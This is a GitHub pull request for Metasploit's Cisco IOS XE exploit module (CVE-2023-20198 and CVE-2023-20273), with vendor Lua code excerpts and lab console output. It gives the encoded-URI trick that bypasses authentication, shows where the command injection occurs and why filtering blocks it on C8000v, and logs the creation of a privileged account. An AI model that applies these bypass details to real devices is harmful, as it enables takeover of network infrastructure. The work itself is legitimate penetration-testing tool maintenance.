Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Improve exploit/linux/misc/cisco_ios_xe_rce (CVE-2023-20198 + CVE-2023-20273) #19934

Open
wants to merge 10 commits into
base: master
Choose a base branch
from

Conversation

sfewer-r7
Copy link
Contributor

@sfewer-r7 sfewer-r7 commented Mar 3, 2025

This pull request fixes several bugs in the exploit/linux/misc/cisco_ios_xe_rce module. It was reported that this module was failing for a target Cisco IOS XE device running version 17.06.05. After recreating the failure in a lab environment, several issue became apparent. The original module (pull #18507) was tested against several versions from the CSR1000v series of appliances, however when testing against a C8000v series appliance the module would fail unexpectedly. The issues when targeting a C8000v series appliance were as follows.

  • In the check routine, a request to the /webui URI is made, when targeting both CSR1000v and C8000v series appliances, this URI should be /webui/ (Note the trailing path separator). Fixed in commit 4a38605.
  • In the helper function run_cli_command the target URI /%2577ebui_wsma_https was being used to leverage the first vulnerability in the exploit chain, CVE-2023-20198. When targeting both CSR1000v and C8000v series appliances the _https portion must also not all be in lowercase, e.g. /%2577eb%2575i_%2577sma_hTtPs. Additionally, if targeting HTTP and not HTTPS, the URI /%2577eb%2575i_%2577sma_hTtP must be used (Note the lack of a trailing s). Fixed in commit 60a496e.

So before these changes, targeting a C8000v series appliance running IOS XE version 17.06.05 would show this in the check routine:

msf6 exploit(linux/misc/cisco_ios_xe_rce) > set RHOSTS 192.168.86.108
RHOSTS => 192.168.86.108
msf6 exploit(linux/misc/cisco_ios_xe_rce) > check
[*] 192.168.86.108:443 - Cannot reliably check exploitability. Web UI not detected

However, after the above changes, exploitation against a C8000v series appliance running IOS XE version 17.06.05 would fail to execute a payload.

msf6 exploit(linux/misc/cisco_ios_xe_rce) > check
[+] 192.168.86.108:443 - The target is vulnerable. Cisco IOS XE Software, Version 17.06.05
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit 
[*] Started reverse TCP handler on 192.168.86.122:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.06.05
[*] Created privilege 15 user 'HFCaCraU' with password 'aSlKeEiT'
[*] Removing user 'HFCaCraU'
[*] Exploit completed, but no session was created.

Digging into the source code for the C8000v series appliance running IOS XE version 17.06.05, shows that this series/version is vulnerable to CVE-2023-20198, and while it is also vulnerable to the OS command injection CVE-2023-20273, the command injection it is not exploitable due to additional filtering present in the Lua code that was not seen in the CSR1000v series appliances.

This is because the installAdd REST endpoint actually calls softwareUpgradeUtils.startInstallOp to execute the OS command that contains the command injection (the attacker can poison the url variable, passed to the --remote_path argument) and not utils.runOSCommand like in the CSR1000v appliances.

        if lastTag == "installAdd" then
            validateSmuRequest(inp)
            local url, destinationFile, installfilename = generateUrlAndDestination(inp)
            writeInstallOperationType(inp.operation_type)
            installParams.operation = "install_add"
            installParams.filename = destinationFile
            writeSmuInstallParams(installParams)
            local mode = inp.mode
            -- Install involved file download, which might take long, so it will run in the background.
            local installOpParams = {smu_install_script, "--operation", "install_add", "--operation_type", inp.operation_type, "--install_method", mode, "--remote_path", url, "--file_path", destinationFile, "&"}
            softwareUpgradeUtils.startInstallOp(installOpParams, installOpEnumForSyslog.ADD, installfilename)
            ngx.exit(ngx.HTTP_OK)

But softwareUpgradeUtils.startInstallOp will call utils.runPexecCommand to execute the command.

function softwareUpgradeUtils.startInstallOp(installOpParams, installOpName, installOpDetail)
    -- Generate the syslog if the install operation name is available. hen start the install operation
    if not utils.isNilOrEmptyString(installOpName) then
        softwareUpgradeUtils.generateInstallSyslog(installOpName, installOpDetail, installOpParams)
    end
    utils.runPexecCommand("setsid", installOpParams)
end

And utils.runPexecCommand will call pexec.pexec_setsid.

function utils.runPexecCommand(commandPart,argumentsPart)
    local response
    if commandPart == "setsid" then
        response = pexec.pexec_setsid(commandPart, argumentsPart)
    else
        response = pexec.pexec(commandPart, argumentsPart)
    end
    return response;
end

We can see that pexec_setsid will call gen_cmd_str.

function _M.pexec_setsid(cmd, args)

    local size = #args

    if args[size] ~= "&" then
        return nil, " no \"&\" at end"
    end

    local cmd_str, err = gen_cmd_str(cmd, args)

    if not cmd_str then
        return nil, err
    end
    local proc
    proc, err = pipe_spawn(cmd_str)
    if not proc then
        return nil, " failed to spawn: " .. tostring(err)
    end
    return true, err
end

And gen_cmd_str will call args_valid.

local function gen_cmd_str(cmd, args)
    local ok = cmd_valid(cmd)
    if ok == nil then
        return nil, "invalid command"
    end

    ok = args_valid(args)
    if not ok  then
        return nil, "invalid args"
    end
    local arg_str = table.concat(args, " ")
    local cmd_str = cmd .. " " .. arg_str
    return cmd_str, "ok"
end

The function args_valid will validate the arguments, and we fail to inject with the attacker controlled url argument (passed with the --remote_path option), because we cannot satisfy any of the below checks.

local function args_valid(args)
    local n = #args
    for key, arg in ipairs(args) do
        if not arg then
            break
        end
	if is_relative_path(arg) == nil then
	    break
	end
        --& can only appear at end of array
        if key == n and  arg == "&" then
            break
        end
        -- args can be one of following pattern
        if is_option(arg) == nil
            and is_empty_str(arg) == nil
            and  is_path(arg) == nil
            and  is_ios_path(arg) == nil
            and is_url(arg) == nil then
            return false
        end
    end
    return true
end

-- path has to be absloute path
-- path pattern : '^%/[%w_%.%-%/]+$'
-- it could be more strict,  but it is hard to get all
-- white list
-- example: /.test
-- /test/test.test/test
-- /test/test_test/test.test
-- /test/test123/test.123
-- /test/test/test*
local path_pattern = '^%/[%w_%.%-%/%*]+$'

local function is_path(arg)
    return string.match(arg, path_pattern)
end

local ios_path_pattern = '^[%w%-_]+:[%w_%.%-%/]+$'

local function is_ios_path(arg)
    return string.match(arg, ios_path_pattern)
end

-- url pattern
-- format: Protocol://user-name:password@ip-address/path_to_the_file/file_name
-- protocol: Protocols are usually alphabetical strings (ftp, tftp, sftp, scp, http etc)
-- using "[%a]+" for prototol
-- User-name and password might have special characters + alpha-numerics
-- [%w_.~!*:@&+$/?%%#-]-  for user name password
-- Ip addresses could be ipv4 addresses or ipv6 addresses
-- [%w%.:]+
-- path : [%w_%.%-%/]+

local url_pattern = '^[%a]+://[%w_.~!*:@&+$/?%%#-]-[%w_%.:%-%/]+$'

local function is_url(arg)
    return  string.match(arg, url_pattern)
end

Given the exploit can fail against some IOS XE targets, the check routine will now exploit both CVE-2023-20198 and CVE-2023-20273 to ensure a target is actually vulnerable, and can be exploited to execute a payload. Fixed in commit 9c075c7.

For example, we can see the new check routine working against two CSR1000v targets, then failing with a useful error message for the C8000v target.

msf6 exploit(linux/misc/cisco_ios_xe_rce) > set RHOSTS 192.168.86.114
RHOSTS => 192.168.86.114
msf6 exploit(linux/misc/cisco_ios_xe_rce) > check
[+] 192.168.86.114:443 - The target is vulnerable. Cisco IOS XE Software, Version 16.12.03


msf6 exploit(linux/misc/cisco_ios_xe_rce) > set RHOSTS 192.168.86.113
RHOSTS => 192.168.86.113
msf6 exploit(linux/misc/cisco_ios_xe_rce) > check
[+] 192.168.86.113:443 - The target is vulnerable. Cisco IOS XE Software, Version 17.03.02


msf6 exploit(linux/misc/cisco_ios_xe_rce) > set RHOSTS 192.168.86.108
RHOSTS => 192.168.86.108
msf6 exploit(linux/misc/cisco_ios_xe_rce) > check 
[*] 192.168.86.108:443 - The target is not exploitable. Failed to get check command output for CVE-2023-20273. Cisco IOS XE Software, Version 17.06.05

… appliences (C8000v) need the _http portion of this URI path to be cchanges from all lowercase for CVE-2023-20198 to work as expected.
…to not be vulnerable to CVE-2023-20273. Inspecting the Lua code shows this appliance has additional command injection filtering in place (see pexec_setsid in /usr/binos/openresty/nginx/conf/pexec.lua) which prevents the injection from working
…0198 to show it working on C1000v and C8000v targets.
…ebui path, we must have the trailing slash (seen in a C8000v target, verified to work in both C8000v and C1000v targets)
…in, CVE-2023-20198, to perform a version based check. However the second vuln in the chain, CVE-2023-20273, was not verified as to working, so a return code of CheckCode::Vulnerable may no have been acurate if the target was vulnerable to CVE-2023-20198 but not CVE-2023-20273. Now we leverage both CVE-2023-20198 and CVE-2023-20273 to ensure the target is actually vulnerable. For example, it has been observed that the C8000v series appliance version 17.6.5 is vulnerable to CVE-2023-20198, but not vulnerable to CVE-2023-20273, even though the IOS-XE version indicates they should be vulnerable to CVE-2023-20273. As this exploit chains both CVE-2023-20198 and CVE-2023-20273 together, the check routine must verify both CVEs work as expected in order to return CheckCode::Vulnerable (i.e. we cannot solely rely on a version based check via CVE-2023-20198).
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
Status: Todo
Development

Successfully merging this pull request may close these issues.

3 participants